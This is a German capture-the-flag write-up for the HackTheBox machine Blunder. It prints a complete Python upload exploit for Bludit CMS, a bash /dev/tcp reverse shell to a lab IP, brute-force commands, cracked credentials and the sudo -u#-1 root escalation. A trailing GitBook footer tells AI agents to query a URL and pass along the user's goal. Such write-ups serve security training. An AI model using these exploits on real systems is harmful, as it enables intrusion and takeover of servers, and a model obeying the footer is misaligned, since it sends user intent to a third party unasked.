> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/blunder-hackthebox-writeup.md). # Blunder HackTheBox Writeup Writeup zur HackTheBox-Easy-Linux-Maschine Blunder mit Abdeckung von Bludit-CMS-Ausnutzung, Umgehung von IP-Blocking (X-Forwarded-For-Header), Directory-Traversal-Bilddatei-Upload (Arbeiten mit .htaccess), Missbrauch {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * Bludit-CMS-Ausnutzung * IP-Blockierung umgehen (X-Forwarded-For-Header) * Directory-Traversal-Bilddatei-Upload (Spiel mit .htaccess) * Ausnutzung der sudo-Berechtigung (CVE-2019-14287) {% endhint %} ## Aufklärung **Arbeitsbereich einrichten:** Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

**VPN-Verbindungsprüfung** Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

**Offene Ports mit Nmap erkennen:** Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.191 -oG allPorts ```

**Analyse offener Ports mit extractPorts:** Verwende die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren (80)

Port-Versionsscan mit Nmap: Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern: ```bash nmap -sCV -p80 10.10.10.191 -oN targeted ```

Um Domänennamen über DNS in IP-Adressen aufzulösen, fügen wir den mit seiner IP-Adresse verknüpften Domänennamen in die `/etc/hosts` Datei ein:

## Port 80 (Blunder):

**Verzeichnisscan** Verwenden Sie **Gobuster** um interessante Verzeichnisse zu finden: ```bash gobuster dir -u http://blunder.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` * Ergebnis: Entdeckung des **/admin** Verzeichnis.

**CMS-Identifizierung** Beim Aufrufen von **/admin**, wird das Bludit-CMS (Version **3.9.2**) wird erkannt.

## **Bludit-CMS-Ausnutzung**

**Nach Schwachstellen suchen** Verwenden Sie `searchsploit` um bekannte Schwachstellen zu finden:

#### Schwachstelle erkannt: **CVE-2019-17240** {% hint style="info" %} Der Exploit zielt darauf ab, eine Schwachstelle in der Abwehr von Brute-Force-Angriffen auf Bludit auszunutzen, einer CMS-(Content-Management-System)-Plattform. Die als **CVE-2019-17240**identifizierte Schwachstelle ermöglicht es einem Angreifer, den Schutz gegen Brute-Force-Angriffe zu umgehen, der in Bludit-Versionen vor oder gleich 3.9.2 implementiert ist. {% endhint %} `searchsploit -m php/webapps/48942.py` **Textdatei gefunden** Führe zusätzliche Recherche mit Gobuster durch: ```bash gobuster dir -u http://blunder.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php,txt,html ```

Inhalt: Identifizierter Benutzer: **fergus**.

### Brute-Force-Angriff auf Bludit Sobald der Benutzer **fergus** gefunden wurde, verwende ein Wörterbuch, um einen Brute-Force-Angriff zu starten: ```bash python3 exploit.py -l http://blunder.htb/admin/ -u user.txt -p password.txt ``` Keine Treffer für Datei gefunden **rockyou.txt**. ### **Personalisierte Wörterbuch** Verwenden Sie **Cewl** um ein Wörterbuch basierend auf der Website zu erstellen: ```bash cewl -u http://blunder.htb/ -w password.txt ```

Starte den Brute-Force-Angriff mit dem benutzerdefinierten Wörterbuch erneut:

* Passwort gefunden: `fergus:RolandDeschain`

## Ausnutzung: Image-Datei-Upload mittels Directory Traversal: Nach der Authentifizierung ist dieses CMS anfällig für einen **Directory Traversal** Angriffstyp, der das Hochladen bösartiger Dateien ermöglicht. {% embed url="" %} {% hint style="info" %} Wir können den Speicherort der heruntergeladenen Datei angeben, indem wir den Wert von `uuid` ändern und dann ein bösartiges Bild in den temporären Ordner hochladen. {% endhint %} Nach der Authentifizierung kann ein neuer Exploit über `searchsploit` in `multiple/webapps/48701.txt`heruntergeladen werden, der die Schritte zur Ausnutzung dieser Schwachstelle enthält.

**Schritte zur Ausführung**

1. **Erstelle eine bösartige Datei** (`evil.png`) mit PHP-Code: ```bash ``` 2. **Passe das Skript an die Situation an** (IP-Adresse des Opfers, Benutzername, Passwort usw.).

3. **Exploit ausführen:** Python-Exploit-Skript: ```python #!/usr/bin/env python3 import requests import re import argparse import random import string import base64 from requests.exceptions import Timeout url = 'http://blunder.htb/admin' # ÄNDERE MICH username = 'fergus' # ÄNDERE MICH password = 'RolandDeschain' # ÄNDERE MICH # msfvenom -p php/reverse_php LHOST=127.0.0.1 LPORT=53 -f raw -b '"' > evil.png # echo -e " evil.png payload = 'evil.png' # ERSTELLE MICH #echo "RewriteEngine off" > .htaccess #echo "AddType application/x-httpd-php .png" >> .htaccess payload2 = '.htaccess' # ERSTELLE MICH def login(url,username,password): """ Mit den bereitgestellten Admin-Zugangsdaten anmelden, den Cookie nach der Authentifizierung abgreifen """ session = requests.Session() login_page = session.get(url + "/admin/") csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text ).group(1) cookie = ((login_page.headers["Set-Cookie"]).split(";")[0].split("=")[1]) data = {"save":"", "password":password, "tokenCSRF":csrf_token, "username":username} headers = {"Origin":url, "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Upgrade-Insecure-Requests":"1", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0", "Connection":"close", "Referer": url + "/admin/", "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding":"gzip, deflate", "Content-Type":"application/x-www-form-urlencoded" } cookies = {"BLUDIT-KEY":cookie} response = session.post(url + "/admin/", data=data, headers=headers, cookies=cookies, allow_redirects = False ) print("cookie: " + cookie) return cookie def get_csrf_token(url,cookie): """ Den CSRF-Token aus einer authentifizierten Sitzung abgreifen """ session = requests.Session() headers = {"Origin":url, "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Upgrade-Insecure-Requests":"1", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0", "Connection":"close", "Referer":url + "/admin/", "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding":"gzip, deflate"} cookies = {"BLUDIT-KEY":cookie} response = session.get(url + "/admin/dashboard", headers=headers, cookies=cookies ) csrf_token = response.text.split('var tokenCSRF = "')[1].split('"')[0] print("csrf_token: " + csrf_token) return csrf_token def upload_evil_image(url, cookie, csrf_token, payload, override_uuid=False): """ Dateien hochladen, die für die Ausführung von PHP aus bösartigen Bilddateien erforderlich sind. Payload und .htaccess """ session = requests.Session() files= {"images[]": (payload, open(payload, "rb"), "multipart/form-data", {"Content-Type": "image/png", "filename":payload} )} if override_uuid: data = {"uuid": "../../tmp/temp", "tokenCSRF":csrf_token} else: # In der anfälligen Anwendung tritt diese Zeile zuerst auf: # Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename); # Obwohl es eine Prüfung der Dateierweiterung gibt, wird uns das nicht wirklich daran hindern # die .htaccess-Datei hochzuladen. data = {"tokenCSRF":csrf_token} headers = {"Origin":url, "Accept":"*/*", "X-Requested-With":"XMLHttpRequest", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0", "Connection":"close", "Referer":url + "/admin/new-content", "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding":"gzip, deflate", } cookies = {"BLUDIT-KEY":cookie} response = session.post(url + "/admin/ajax/upload-images", data=data, files=files, headers=headers, cookies=cookies) print("Uploading payload: " + payload) if __name__ == "__main__": cookie = login(url, username, password) token = get_csrf_token(url, cookie) upload_evil_image(url, cookie, token, payload, True) upload_evil_image(url, cookie, token, payload2) ```

4. **Greife auf die bösartige Datei zu**: Sobald das Bild heruntergeladen wurde, gehe einfach zu `/bl-content/tmp/temp/evil.png` um Befehle auszuführen.

5. **Lausche mit Netcat auf Port 443**: ```bash nc -nvlp 443 ``` 5. **Führe eine Reverse Shell aus**: ```bash bash -c "bash -i >%26 /dev/tcp/10.10.14.2/443 0>%261" ```

**Terminal-Sitzungsverwaltung** : ```bash script /dev/null -c bash # Strg+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## Privilegieneskalation Die Untersuchung der Dateien offenbart eine Datei `users.php` im `Datenbanken` Ordner mit gehashten Anmeldedaten für Benutzer `fergus` und `admin`: `admin:bfcc887f62e36ea019e3295aafb8a3885966e265` `fergus:be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7`

Beim Versuch, diese Hashes mit CrackStation zu knacken, scheint es, dass sie nicht erkannt werden.

Im Stammverzeichnis der Website wird jedoch eine neuere Version von Bludit gefunden, die dieselben Konfigurationsdateien enthält, aber andere Anmeldedaten:

* **hugo** : `faca404fd5c0a31cf1897b823c695c85cffeb98d`

`hugo:Password120`

### Flagge user.txt:

### Ausnutzung der sudo-Berechtigung (CVE-2019-14287): Bei der Untersuchung der sudo-Berechtigungen entdeckten wir eine verwundbare Konfiguration in der sudoers-Datei. Mit dem `sudo -l` Befehl identifizierten wir eine Berechtigung, die es allen Benutzern außer `root` ermöglicht, sich mit dem `/bin/bash` Befehl:

{% embed url="" %} Diese Schwachstelle betrifft alle sudo-Versionen vor Version 1.8.27. In unserem Fall ist die sudo-Version niedriger als 1.8.27, wodurch diese Schwachstelle ausnutzbar ist.

Um diese Schwachstelle auszunutzen, führe einfach den folgenden Befehl aus: ```bash sudo -u#-1 /bin/bash ``` Dieser Befehl ermöglicht es dir, eine Shell als Benutzer `-1`, was dem Benutzer entspricht `root`.

### root.txt-Flagge :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/blunder-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.